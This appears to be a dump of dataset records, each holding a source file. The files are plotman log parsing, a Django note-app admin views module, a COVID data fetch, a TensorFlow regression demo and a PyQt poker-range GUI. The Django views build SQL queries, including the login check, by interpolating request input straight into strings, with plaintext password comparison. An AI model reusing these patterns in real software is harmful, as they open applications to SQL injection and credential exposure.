''}\"\n\n\ndef get_completed_log_files(log_directory, skip=None):\n if not skip:\n skip = []\n files = {}\n for file in os.listdir(log_directory):\n if file[-4:] not in ['.log', '.txt']:\n continue\n file_path = os.path.join(log_directory, file)\n if file_path in skip:\n continue\n f = open(file_path, 'r')\n try:\n contents = f.read()\n except UnicodeDecodeError:\n continue\n f.close()\n if 'Total time = ' not in contents and 'Total plot creation time' not in contents:\n continue\n files[file_path] = contents\n return files\n\n\ndef _analyze_log_end_date(contents):\n if manager.CFG.plotting.m_plot is None:\n return _analyze_log_end_date_v1(contents)\n else:\n return _analyze_log_end_date_v2(contents)\n\n\ndef _analyze_log_end_date_v1(contents):\n match = re.search(r'total time = ([\\d\\.]+) seconds\\. CPU \\([\\d\\.]+%\\) [A-Za-z]+\\s([^\\n]+)\\n', contents, flags=re.I)\n if not match:\n return False\n total_seconds, date_raw = match.groups()\n total_seconds = pretty_print_time(int(float(total_seconds)))\n parsed_date = dateparser.parse(date_raw)\n return dict(\n total_seconds=total_seconds,\n date=parsed_date,\n )\n\ndef _analyze_log_end_date_v2(contents):\n match = re.search(r'Total plot creation time was ([\\d\\.]+) sec', contents, flags=re.I)\n if not match:\n return False\n total_seconds = match.group(1)\n parsed_date = None\n return dict(\n total_seconds=pretty_print_time(int(float(total_seconds))),\n total_sec_str=total_seconds,\n date=parsed_date,\n )\n\n\ndef _get_date_summary(analysis):\n summary = analysis.get('summary', {})\n for file_path in analysis['files'].keys():\n if analysis['files'][file_path]['checked']:\n continue\n analysis['files'][file_path]['checked'] = True\n end_date = analysis['files'][file_path]['data']['date'].date()\n if end_date not in summary:\n summary[end_date] = 0\n summary[end_date] += 1\n analysis['summary'] = summary\n return analysis\n\n\ndef analyze_log_dates(log_directory, analysis):\n files = get_completed_log_files(log_directory, skip=list(analysis['files'].keys()))\n for file_path, contents in files.items():\n data = _analyze_log_end_date(contents)\n if data is None or data is False:\n continue\n if data['date'] is None:\n start_time = datetime.fromisoformat(os.path.basename(file_path)[:-4].replace(\"_\", \":\"))\n end_time = start_time+timedelta(seconds=float(data['total_sec_str']))\n data['date'] = end_time\n analysis['files'][file_path] = {'data': data, 'checked': False}\n analysis = _get_date_summary(analysis)\n return analysis\n","sub_path":"src/plotman/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":28331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"152246994","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect, HttpResponse\n\nfrom noteManage.sqlHelp import query\nimport json\n\n\ndef login(request):\n if request.method == 'POST':\n username = request.POST['uAccount']\n password = request.POST['uPassword']\n user_sql= '''SELECT * FROM adminuser WHERE a_name=\"%s\" AND a_password=\"%s\" '''%(username,password)\n user_list = query(user_sql)\n if user_list:\n request.session['user_id'] = user_list[0][0]\n\n return render(request,'login.html',{\"result\":\"true\"})\n else:\n return render(request,'login.html',{\"result\":\"false\"})\n else:\n return render(request,'login.html')\n\n\ndef logout(request):\n user = request.session.get('user_id', False)\n if user:\n del request.session['user_id']\n return HttpResponseRedirect('/login')\n\n\ndef index(request):\n user = request.session.get('user_id', False)\n if user:\n return render(request, '../static/index.html')\n else:\n return HttpResponseRedirect('/login')\n\n\n# def user_list(request):\n# user = request.session.get('user_id', False)\n# if user:\n# if request.method == 'POST':\n# post_data = json.loads(request.body)\n# # page_limit = request.POST['page_limit'] if request.POST['page_limit'] else 10\n# # page_count = request.POST['page_count'] if request.POST['page_count'] else 1\n# if 'page_limit' in post_data:\n# page_limit = post_data['page_limit'] if post_data['page_limit'] else 10\n# else:\n# page_limit = 10\n# if 'page_count' in post_data:\n# page_count = post_data['page_count'] if post_data['page_count'] else 1\n# else:\n# page_count = 1\n# select_sql = '''SELECT * FROM user LIMIT %s , %s''' % ((page_count-1)*page_limit, page_limit)\n# select_data = query(select_sql)\n#\n# data_list = []\n# data_dict = {'id': \"\", \"openid\": \"\", \"name\": \"\", \"isuse\": \"\", \"isuse_text\": \"\"}\n# for data in select_data:\n#\n# data_dict['id'] = data[0]\n# data_dict['openid'] = data[1]\n# data_dict['name'] = data[2]\n# data_dict['isuse_text'] = \"禁用\" if data[5] == 1 else \"恢复\"\n# data_dict['isuse'] = data[5]\n# data_list.append(data_dict.copy())\n#\n# return HttpResponse(json.dumps(data_list, indent=2), content_type='application/json')\n# else:\n# return render(request, \"User/user_list.html.bak\")\n# else:\n# return HttpResponseRedirect('/login')\n\n\ndef user_list(request):\n user = request.session.get('user_id')\n if user:\n uid_where = \"\"\n if request.method == 'POST':\n\n page = json.loads(request.body)\n print(page)\n if 'uid' in page:\n uid = page['uid']\n uid_where = \"WHERE u_id = \"+uid\n page_count = 1\n else:\n page_count = page['curr']\n print(page_count)\n else:\n page_count = 1\n page_limit = 10\n pagenu_sql = '''SELECT COUNT(u_id) FROM user %s'''%(uid_where)\n pagenu = query(pagenu_sql)[0][0]//10+1\n select_sql = '''SELECT * FROM user %s LIMIT %s , %s''' % (uid_where,(page_count - 1) * page_limit, page_limit)\n select_data = query(select_sql)\n data_list = []\n data_dict = {'id': \"\", \"openid\": \"\", \"name\": \"\", \"isuse\": \"\", \"isuse_text\": \"\"}\n for data in select_data:\n data_dict['id'] = data[0]\n data_dict['openid'] = data[1]\n data_dict['name'] = data[2]\n data_dict['isuse_text'] = \"禁用\" if data[5] == 1 else \"恢复\"\n data_dict['isuse'] = data[5]\n data_list.append(data_dict.copy())\n if request.method == 'POST':\n return HttpResponse(json.dumps({'data_list':data_list, 'pagenu': 1},indent=2),content_type=\"application/json\")\n else:\n return render(request, \"User/user_list.html\", {'data_list': data_list, 'pagenu': pagenu})\n\n else:\n return HttpResponseRedirect('/login')\n\n\ndef user_editType(requet,u_id,end):\n user = requet.session.get('user_id')\n if user:\n if requet.method == 'POST':\n update_sql = '''UPDATE user SET u_isuse=1 WHERE u_id=%s'''%(u_id)\n dele_sql = '''DELETE FROM blacklist WHERE u_id=%s'''%(u_id)\n query(update_sql)\n query(dele_sql)\n return HttpResponse(json.dumps({\"res\": \"true\"},indent=2), content_type='application/json')\n else:\n return render(requet, \"User/user_editType.html\", {\"u_id\": u_id, \"end\": end})\n else:\n return HttpResponseRedirect('/login')\n\n\ndef user_detail(request,u_id):\n user = request.session.get('user_id')\n if user:\n notenum1_sql = '''SELECT COUNT(n_id) FROM note WHERE u_id =%s '''%(u_id)\n notenum1 = query(notenum1_sql)[0][0]\n notenum2_sql = '''SELECT COUNT(tn_id) FROM teamnote WHERE u_id=%s'''%(u_id)\n notenum2 = query(notenum2_sql)[0][0]\n studionum_sql = '''SELECT COUNT(tp_id) FROM teampanel WHERE u_id=%s '''%(u_id)\n studionum = query(studionum_sql)[0][0]\n notelist1_sql = '''SELECT n_id,n_place,n_time FROM note WHERE u_id=%s '''%(u_id)\n notelist1 = query(notelist1_sql)\n notelist1_list = []\n for list in notelist1:\n notelist1_dict = {\"n_id\": list[0], \"n_place\": list[1], \"n_time\": list[2]}\n notelist1_list.append(notelist1_dict)\n\n notelist2_sql = '''SELECT tn_id,tp_id, LEFT(tn_content,10) FROM teamnote WHERE u_id=%s '''%(u_id)\n notelist2 = query(notelist2_sql)\n notelist2_list = []\n for list in notelist2:\n tp_name_sql = '''SELECT tp_name FROM teampanel WHERE tp_id=%s'''%(list[1])\n notelist2_dict = {\"tn_id\": list[0],\"tp_name\": query(tp_name_sql)[0][0], \"tn_content\": list[2] if len(list[2])<8 else list[2]+r\"...\"}\n notelist2_list.append(notelist2_dict)\n\n studiolist_sql = '''SELECT tp_id, tp_name,tp_comment, tp_addr, tp_time FROM teampanel WHERE u_id=%s '''%(u_id)\n studiolist = query(studiolist_sql)\n studio_list = []\n for list in studiolist:\n studio_dict = {\"tp_id\": list[0], \"tp_name\": list[1], \"tp_comment\": list[2], \"tp_addr\": list[3], \"tp_time\": list[4]}\n studio_list.append(studio_dict)\n\n result_dict = {\"notenum1\": notenum1, \"notenum2\": notenum2, \"studionum\": studionum, \"notelist1_list\": notelist1_list,\n \"notelist2_list\":notelist2_list, \"studio_list\": studio_list}\n return render(request, \"User/user_detail.html\", result_dict)\n\n else:\n return HttpResponseRedirect('/login')\n\n\ndef note_detail (request, id, type_id):\n user = request.session.get('user_id')\n if user:\n result_data = {}\n img_url = 'https://www.bcuvote.top/NoteWechat/upload/'\n if type_id == '1':\n n_id = id\n select_sql = ''' SELECT * FROM note WHERE n_id=%s'''%(n_id)\n select_data = query(select_sql)[0]\n result_data = {\"content\": select_data[2], \"img1\": select_data[5], \"img2\": select_data[6],\n \"img3\": select_data[7], \"img4\": select_data[8], \"video\": select_data[9],\n \"audio\": select_data[10], \"img_url\": img_url}\n elif type_id == '2':\n pass\n elif type_id == \"3\":\n tn_id = id\n select_sql = '''SELECT * FROM teamnote WHERE tn_id=%s'''%(tn_id)\n select_data = query(select_sql)[0]\n result_data = {\"content\": select_data[3], \"img1\": select_data[4], \"img2\": select_data[5],\n \"img3\": select_data[6],\"img4\": select_data[7], \"video\": select_data[8],\n \"audio\": select_data[9], \"img_url\": img_url}\n return render(request,'User/note_detail.html', result_data)\n else:\n return HttpResponseRedirect('/login')\n\n\ndef black_list(request):\n user = request.session.get('user_id')\n if user:\n pagenu_sql = '''SELECT COUNT(u_id) FROM blacklist '''\n pagenu = query(pagenu_sql)[0][0] // 10 + 1\n if request.method == 'POST':\n page = json.loads(request.body)\n page_count = page['curr']\n page_limit = 10\n select_sql = '''SELECT * FROM blacklist LIMIT %s , %s '''%((page_count - 1) * page_limit, page_limit)\n select_data = query(select_sql)\n black_dict = {\"u_id\": \"\", \"start_time\": \"\", \"end_time\": \"\", \"reason\": \"\", \"nickname\": \"\"}\n black_list = []\n for data in select_data:\n black_dict['u_id'] = data[0]\n black_dict['start_time'] = str(data[2])\n black_dict['end_time'] = str(data[3])\n black_dict['reason'] = data[4]\n black_dict['nickname'] = str(query('''SELECT nickname FROM user WHERE u_id=%s'''%(data[0]))[0][0])\n black_list.append(black_dict.copy())\n return HttpResponse(json.dumps({'black_list': black_list}, indent=2), content_type='application/json')\n else:\n return render(request, 'Blacklist/black_list.html', {\"pagenu\": pagenu})\n else:\n return HttpResponseRedirect('/login')\n\n\ndef black_add(request, u_id):\n user = request.session.get('user_id')\n if user:\n if request.method == 'POST':\n post_data = json.loads(request.body)\n insert_sql = '''INSERT INTO blacklist VALUES(%s,%s,\"%s\",\"%s\",%s)'''%(u_id,post_data['time'],post_data['start'],\n post_data['end'],post_data['reason'])\n update_sql = '''UPDATE user SET u_isuse=0 WHERE u_id = %s'''%(u_id)\n query(insert_sql)\n query(update_sql)\n return HttpResponse(json.dumps({\"result\": \"true\"}, indent=2), content_type='application/json')\n else:\n return render(request, 'Blacklist/black_add.html', {\"u_id\": u_id})\n else:\n return HttpResponseRedirect('/login')\n\n\ndef illegal_list(request):\n user = request.session.get('user_id')\n if user:\n select_sql = '''SELECT u_id, COUNT(n_id) FROM note WHERE is_illegal=3 GROUP BY u_id'''\n select_data = query(select_sql)\n illegal_list = []\n illegal_dict = {'u_id': \"\", \"nickname\": \"\", \"num\": \"\", \"note_list\": []}\n note_dict = {'n_id': '', 'content': '', 'time': '', 'place': ''}\n\n for data in select_data:\n illegal_dict['u_id'] = data[0]\n illegal_dict['num'] = data[1]\n illegal_dict['nickname'] = str(query('''SELECT nickname FROM user WHERE u_id=%s'''%(data[0]))[0][0])\n note_sql = '''SELECT n_id, LEFT(n_content,6) ,n_time,n_place FROM note WHERE u_id=%s AND is_illegal=3'''%(data[0])\n note_data = query(note_sql)\n note_list = []\n for data2 in note_data:\n note_dict['n_id'] = data2[0]\n note_dict['content'] = data2[1] if len(data2[1]) < 6 else data2[1]+\"......\"\n note_dict['time'] = data2[2]\n note_dict['place'] = data2[3]\n note_list.append(note_dict.copy())\n illegal_dict['note_list'] = note_list\n illegal_list.append(illegal_dict.copy())\n\n return render(request, 'Blacklist/illegal_list.html', {'illegal_list': illegal_list})\n else:\n return HttpResponseRedirect('/login')\n\n\ndef illegal_note(request,n_id):\n user = request.session.get(\"user_id\")\n if user:\n img_url = 'https://www.bcuvote.top/NoteWechat/upload/'\n select_sql = '''SELECT * FROM note WHERE n_id = %s'''%(n_id)\n select_data = query(select_sql)[0]\n result_data = {\"content\": select_data[2], \"img1\": select_data[5], \"img2\": select_data[6],\n \"img3\": select_data[7], \"img4\": select_data[8], \"video\": select_data[9],\n \"audio\": select_data[10], \"img_url\": img_url}\n return render(request, 'Blacklist/illegal_note.html', result_data)\n else:\n return HttpResponseRedirect('/login')\n\n\ndef user_del(request,u_id):\n user = request.session.get(\"user_id\")\n if user:\n if request.method == 'POST':\n del_sql = \"DELETE FROM user WHERE u_id = %s \"%(u_id)\n query(del_sql)\n return HttpResponse(json.dumps({\"res\": \"true\"},indent=2), content_type='application/json')\n else:\n return render(request, 'User/user_del.html', {'u_id':u_id})\n else:\n return HttpResponseRedirect('/login')","sub_path":"noteManage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22735783","text":"import json\nfrom urllib.request import urlopen\n\n\nwith urlopen(\"https://api.covid19india.org/data.json\")as response :\n source = response.read()\n\ndata =json.loads(source)\n\nfor item in data['cases_time_series']:\n total=item['totalconfirmed']\n print(total)","sub_path":"res/corona.py","file_name":"corona.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"618618611","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\n# Step 1: 构造虚拟数据:随机生成 100 条数据\ndata_len = 100\nx_input = np.linspace(-2,2, data_len)\ny_input = x_input * 3 + np.random.rand(x_input.shape[0]) * 1\ndata = np.column_stack((x_input, y_input))\n\n# 假设 Y = W*X + b\nX = tf.placeholder(tf.float32, name=\"X\")\nY = tf.placeholder(tf.float32, name=\"Y\")\nW = tf.Variable(0., name=\"weight\")\nU = tf.Variable(0., name=\"weight2\")\nb = tf.Variable(0., name=\"bias\")\n\nY_predicted = X * W + b\n\nloss = tf.square(Y - Y_predicted, name='loss')\n\noptimizer = tf.train.GradientDescentOptimizer(0.001).minimize(loss)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n for i in range(10):\n total_loss = 0\n for x,y in data:\n _, l = sess.run([optimizer, loss], feed_dict={X:x, Y:y})\n total_loss += l\n print('Epoch {0}: {1}'.format(i, total_loss/data_len))\n \n W,U, b = sess.run([W,U,b])\n print(\"最终计算 w={}, u={}, b={}\".format(W,U, b))\n\n# plot the results\nplt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签\nplt.rcParams['axes.unicode_minus']=False #用来正常显示负号\n\nX, Y = data.T[0], data.T[1]\nplt.xlabel(u\"火宅次数(每1000户)\")\nplt.ylabel(u\"盗窃次数(每1000人)\")\nplt.plot(X, Y, 'bo', label='Real data')\nplt.plot(X, X * W + b, 'ro', label='Predicted data')\nplt.legend()\nplt.show()","sub_path":"examples-zxm/linear-random.py","file_name":"linear-random.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"546074637","text":"\n\n#calss header\nclass _LODESTONE():\n\tdef __init__(self,): \n\t\tself.name = \"LODESTONE\"\n\t\tself.definitions = [u'(a piece of) rock that contains a lot of iron and can therefore be used as a magnet (= an object that pulls metal objects towards it)']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_lodestone.py","file_name":"_lodestone.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"548526490","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom PyQt4 import QtGui, QtCore\nimport xlsxwriter\n#import settings\n\nclass Example(QtGui.QWidget):\n \n def __init__(self):\n super(Example, self).__init__()\n \n self.initUI()\n #a\n self.aa = 0\n self.aks = 0\n self.aqs = 0\n self.ajs = 0\n self.ats = 0\n self.a9s = 0\n self.a8s = 0\n self.a7s = 0\n self.a6s = 0\n self.a5s = 0\n self.a4s = 0\n self.a3s = 0\n self.a2s = 0\n self.ako = 0\n self.aqo = 0\n self.ajo = 0\n self.ato = 0\n self.a9o = 0\n self.a8o = 0\n self.a7o = 0\n self.a6o = 0\n self.a5o = 0\n self.a4o = 0\n self.a3o = 0\n self.a2o = 0\n #k\n self.kk = 0\n self.kqs = 0\n self.kjs = 0\n self.kts = 0\n self.k9s = 0\n self.k8s = 0\n self.k7s = 0\n self.k6s = 0\n self.k5s = 0\n self.k4s = 0\n self.k3s = 0\n self.k2s = 0\n self.kqo = 0\n self.kjo = 0\n self.kto = 0\n self.k9o = 0\n self.k8o = 0\n self.k7o = 0\n self.k6o = 0\n self.k5o = 0\n self.k4o = 0\n self.k3o = 0\n self.k2o = 0\n #q\n self.qq = 0\n self.qjs = 0\n self.qts = 0\n self.q9s = 0\n self.q8s = 0\n self.q7s = 0\n self.q6s = 0\n self.q5s = 0\n self.q4s = 0\n self.q3s = 0\n self.q2s = 0\n self.qq = 0\n self.qjo = 0\n self.qto = 0\n self.q9o = 0\n self.q8o = 0\n self.q7o = 0\n self.q6o = 0\n self.q5o = 0\n self.q4o = 0\n self.q3o = 0\n self.q2o = 0\n #j\n self.jj = 0\n self.jts = 0\n self.j9s = 0\n self.j8s = 0\n self.j7s = 0\n self.j6s = 0\n self.j5s = 0\n self.j4s = 0\n self.j3s = 0\n self.j2s = 0\n self.jto = 0\n self.j9o = 0\n self.j8o = 0\n self.j7o = 0\n self.j6o = 0\n self.j5o = 0\n self.j4o = 0\n self.j3o = 0\n self.j2o = 0\n #t\n self.tt = 0\n self.t9s = 0\n self.t8s = 0\n self.t7s = 0\n self.t6s = 0\n self.t5s = 0\n self.t4s = 0\n self.t3s = 0\n self.t2s = 0\n self.t9o = 0\n self.t8o = 0\n self.t7o = 0\n self.t6o = 0\n self.t5o = 0\n self.t4o = 0\n self.t3o = 0\n self.t2o = 0\n #9\n self.h99 = 0\n self.h98s = 0\n self.h97s = 0\n self.h96s = 0\n self.h95s = 0\n self.h94s = 0\n self.h93s = 0\n self.h92s = 0\n self.h98o = 0\n self.h97o = 0\n self.h96o = 0\n self.h95o = 0\n self.h94o = 0\n self.h93o = 0\n self.h92o = 0\n #8\n self.h88 = 0\n self.h87s = 0\n self.h86s = 0\n self.h85s = 0\n self.h84s = 0\n self.h83s = 0\n self.h82s = 0\n self.h87o = 0\n self.h86o = 0\n self.h85o = 0\n self.h84o = 0\n self.h83o = 0\n self.h82o = 0\n #7\n self.h77 = 0\n self.h76s = 0\n self.h75s = 0\n self.h74s = 0\n self.h73s = 0\n self.h72s = 0\n self.h76o = 0\n self.h75o = 0\n self.h74o = 0\n self.h73o = 0\n self.h72o = 0\n #6\n self.h66 = 0\n self.h65s = 0\n self.h64s = 0\n self.h63s = 0\n self.h62s = 0\n self.h65o = 0\n self.h64o = 0\n self.h63o = 0\n self.h62o = 0\n #5\n self.h55 = 0\n self.h54s = 0\n self.h53s = 0\n self.h52s = 0\n self.h54o = 0\n self.h53o = 0\n self.h52o = 0\n #4\n self.h44 = 0\n self.h43s = 0\n self.h42s = 0\n self.h43o = 0\n self.h42o = 0\n #3\n self.h33 = 0\n self.h32s = 0\n self.h32o = 0\n #2\n self.h22 = 0\n\n \n \n def initUI(self):\n\n #le = QtGui.QLineEdit('filename', self)\n #le.move(450, 360)\n combopreflop = QtGui.QComboBox(self)\n combopreflop.addItem(\"octopus\")\n combopreflop.addItem(\"angelfish\")\n combopreflop.addItem(\"barfish\")\n combopreflop.addItem(\"batfish\")\n #combopreflop.addItem(\"blackfish\")\n combopreflop.addItem(\"blowfish\")\n combopreflop.addItem(\"bluefish\")\n combopreflop.addItem(\"candlefish\")\n combopreflop.addItem(\"catfish\")\n combopreflop.addItem(\"cowfish\")\n combopreflop.addItem(\"dartfish\")\n combopreflop.addItem(\"dogfish\")\n combopreflop.addItem(\"firefish\")\n combopreflop.addItem(\"flagfish\")\n combopreflop.addItem(\"frogfish\")\n combopreflop.addItem(\"goldfish\")\n combopreflop.addItem(\"hagfish\")\n combopreflop.addItem(\"icefish\")\n combopreflop.addItem(\"jawfish\")\n combopreflop.addItem(\"jellyfish\")\n combopreflop.addItem(\"knifefish\")\n combopreflop.addItem(\"ladyfish\")\n combopreflop.addItem(\"lampfish\")\n combopreflop.addItem(\"lightfish\")\n combopreflop.addItem(\"lionfish\")\n combopreflop.addItem(\"manefish\")\n #combopreflop.addItem(\"milkfish\")\n combopreflop.addItem(\"monkfish\")\n combopreflop.addItem(\"moonfish\")\n combopreflop.addItem(\"needlefish\")\n combopreflop.addItem(\"oilfish\")\n combopreflop.addItem(\"pariotfish\")\n combopreflop.addItem(\"pearlfish\")\n combopreflop.addItem(\"pencilfish\")\n combopreflop.addItem(\"ponyfish\")\n combopreflop.addItem(\"quillfish\")\n combopreflop.addItem(\"rabbitfish\")\n combopreflop.addItem(\"ragfish\")\n combopreflop.addItem(\"razorfish\")\n combopreflop.addItem(\"rockfish\")\n combopreflop.addItem(\"sablefish\")\n #combopreflop.addItem(\"redfish\")\n combopreflop.addItem(\"ricefish\")\n combopreflop.addItem(\"sawfish\")\n combopreflop.addItem(\"spearfish\")\n combopreflop.addItem(\"spookfish\")\n combopreflop.addItem(\"stonefish\")\n combopreflop.addItem(\"sunfish\")\n combopreflop.addItem(\"swordfish\")\n combopreflop.addItem(\"triggerfish\")\n combopreflop.addItem(\"velvetfish\")\n combopreflop.addItem(\"waspfish\")\n combopreflop.addItem(\"xrayfish\")\n #combopreflop.addItem(\"yellowfish\")\n combopreflop.addItem(\"zebrafish\")\n combopreflop.move(10,300)\n\n comboranges = QtGui.QComboBox(self)\n comboranges.addItem(\"ug_open\")\n comboranges.addItem(\"hj_open\")\n comboranges.addItem(\"co_open\")\n comboranges.addItem(\"db_open\")\n comboranges.addItem(\"sb_open\")\n comboranges.addItem(\"defend_vs_ug_ip\")\n comboranges.addItem(\"defend_vs_ug_op\")\n comboranges.addItem(\"defend_vs_hj_ip\")\n comboranges.addItem(\"defend_vs_hj_op\")\n comboranges.addItem(\"defend_vs_co_ip\")\n comboranges.addItem(\"defend_vs_co_op\")\n comboranges.addItem(\"defend_vs_db_op\")\n comboranges.addItem(\"defend_vs_sb_ip\")\n comboranges.addItem(\"under10bb_push_vs_1\")\n comboranges.addItem(\"under10bb_push_vs_2\")\n comboranges.addItem(\"under10bb_push_vs_more \")\n comboranges.addItem(\"call_vs_under10bb_push_0_left_behind\")\n comboranges.addItem(\"call_vs_under10bb_push_1_left_behind\")\n comboranges.addItem(\"call_vs_under10bb_push_more_left_behind\")\n comboranges.move(160,300)\n\n\n btn = QtGui.QPushButton('Save',self)\n btn.move(570, 300)\n\n # Create the actions\n #@pyqtSlot()\n def on_click():\n #print('clicked')\n #if settings.ranges_xml:\n #filename = le.text() + \".xlsx\"\n # Create an new Excel file and add a worksheet.\n #workbook = xlsxwriter.Workbook(filename)\n #worksheet1 = workbook.add_worksheet('sheet1')\n # Create a sheet\n #worksheet2 = workbook.add_worksheet('sheet2')\n #worksheet3 = workbook.add_worksheet('sheet3')\n\n # Add a bold format to use to highlight cells.\n #bold = workbook.add_format({'bold': True})\n\n # Set up a format\n #redbold = workbook.add_format(properties={'bold': True, 'font_color': 'red','center_across': True})\n #bluebold = workbook.add_format(properties={'bold': True, 'font_color': 'blue','center_across': True})\n #greenbold = workbook.add_format(properties={'bold': True, 'font_color': 'green','center_across': True})\n #yellowbold = workbook.add_format(properties={'bold': True, 'font_color': 'yellow','center_across': True})\n #purplebold = workbook.add_format(properties={'bold': True, 'font_color': 'purple','center_across': True})\n #graybold = workbook.add_formcombopreflop.move(50,300)at(properties={'bold': True, 'font_color': 'gray','center_across': True})\n\n #cell_format = workbook.add_format()\n #cell_format.set_align('center')\n #print(shost)\n # Write some numbers, with row/column notation.\n #workshit = worksheet3\n\n #worksheet1.write(2, 0, \"20\", redbold)\n #worksheet1.write(3, 0, \"30\", bluebold)\n #worksheet1.write(3, 3, \"33\", greenbold)\n #worksheet1.write(4, 5, \"45\", yellowbold)\n #worksheet1.write(0, 5, \"05\", purplebold)\n #worksheet1.write(6, 0, \"60\", graybold)\n #worksheet2.write(6, 0, \"60\", bluebold)\n #workshit.write(6, 0, \"60\", redbold)\n f_range = []\n\n\n #a\n if self.aa:\n #if settings.ranges_xml:\n #worksheet1.write(0, 0, \"AA\", greenbold)\n f_range.append('aa')\n if self.aks:\n #if settings.ranges_xml:\n #worksheet1.write(0, 1, \"AK\", redbold)\n f_range.append('aks')\n if self.aqs:\n #if settings.ranges_xml:\n #worksheet1.write(0, 2, \"AQ\", redbold)\n f_range.append('aqs')\n if self.ajs:\n #if settings.ranges_xml:\n #worksheet1.write(0, 3, \"AJ\", redbold)\n f_range.append('ajs')\n if self.ats:\n #if settings.ranges_xml:\n #worksheet1.write(0, 4, \"AT\", redbold)\n f_range.append('ats')\n if self.a9s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 5, \"A9\", redbold)\n f_range.append('a9s')\n if self.a8s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 6, \"A8\", redbold)\n f_range.append('a8s')\n if self.a7s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 7, \"A7\", redbold)\n f_range.append('a7s')\n if self.a6s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 8, \"A6\", redbold)\n f_range.append('a6s')\n if self.a5s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 9, \"A5\", redbold)\n f_range.append('a5s')\n if self.a4s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 10, \"A4\", redbold)\n f_range.append('a4s')\n if self.a3s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 11, \"A3\", redbold)\n f_range.append('a3s')\n if self.a2s:\n #if settings.ranges_xml:\n #worksheet1.write(0, 12, \"A2\", redbold)\n f_range.append('a2s')\n if self.ako:\n #if settings.ranges_xml:\n #worksheet1.write(1, 0, \"AK\", bluebold)\n f_range.append('ako')\n if self.aqo:\n #if settings.ranges_xml:\n #worksheet1.write(2, 0, \"AQ\", bluebold)\n f_range.append('aqo')\n if self.ajo:\n #if settings.ranges_xml:\n #worksheet1.write(3, 0, \"AJ\", bluebold)\n f_range.append('ajo')\n if self.ato:\n #if settings.ranges_xml:\n #worksheet1.write(4, 0, \"AT\", bluebold)\n f_range.append('ato')\n if self.a9o:\n #if settings.ranges_xml:\n #worksheet1.write(5, 0, \"A9\", bluebold)\n f_range.append('a9o')\n if self.a8o:\n #if settings.ranges_xml:\n #worksheet1.write(6, 0, \"A8\", bluebold)\n f_range.append('a8o')\n if self.a7o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 0, \"A7\", bluebold)\n f_range.append('a7o')\n if self.a6o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 0, \"A6\", bluebold)\n f_range.append('a6o')\n if self.a5o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 0, \"A5\", bluebold)\n f_range.append('a5o')\n if self.a4o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 0, \"A4\", bluebold)\n f_range.append('a4o')\n if self.a3o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 0, \"A3\", bluebold)\n f_range.append('a3o')\n if self.a2o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 0, \"A2\", bluebold)\n f_range.append('a2o')\n\n #k\n if self.kk:\n #if settings.ranges_xml:\n #worksheet1.write(1, 1, \"KK\", greenbold)\n f_range.append('kk')\n if self.kqs:\n #if settings.ranges_xml:\n #worksheet1.write(1, 2, \"KQ\", redbold)\n f_range.append('kqs')\n if self.kjs:\n #if settings.ranges_xml:\n #worksheet1.write(1, 3, \"KJ\", redbold)\n f_range.append('kjs')\n if self.kts:\n #if settings.ranges_xml:\n #worksheet1.write(1, 4, \"KT\", redbold)\n f_range.append('kts')\n if self.k9s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 5, \"K9\", redbold)\n f_range.append('k9s')\n if self.k8s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 6, \"K8\", redbold)\n f_range.append('k8s')\n if self.k7s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 7, \"K7\", redbold)\n f_range.append('k7s')\n if self.k6s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 8, \"K6\", redbold)\n f_range.append('k6s')\n if self.k5s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 9, \"K5\", redbold)\n f_range.append('k5s')\n if self.k4s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 10, \"K4\", redbold)\n f_range.append('k4s')\n if self.k3s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 11, \"K3\", redbold)\n f_range.append('k3s')\n if self.k2s:\n #if settings.ranges_xml:\n #worksheet1.write(1, 12, \"K2\", redbold)\n f_range.append('k2s')\n if self.kqo:\n #if settings.ranges_xml:\n #worksheet1.write(2, 1, \"KQ\", bluebold)\n f_range.append('kqo')\n if self.kjo:\n #if settings.ranges_xml:\n #worksheet1.write(3, 1, \"KJ\", bluebold)\n f_range.append('kjo')\n if self.kto:\n #if settings.ranges_xml:\n #worksheet1.write(4, 1, \"KT\", bluebold)\n f_range.append('kto')\n if self.k9o:\n #if settings.ranges_xml:\n 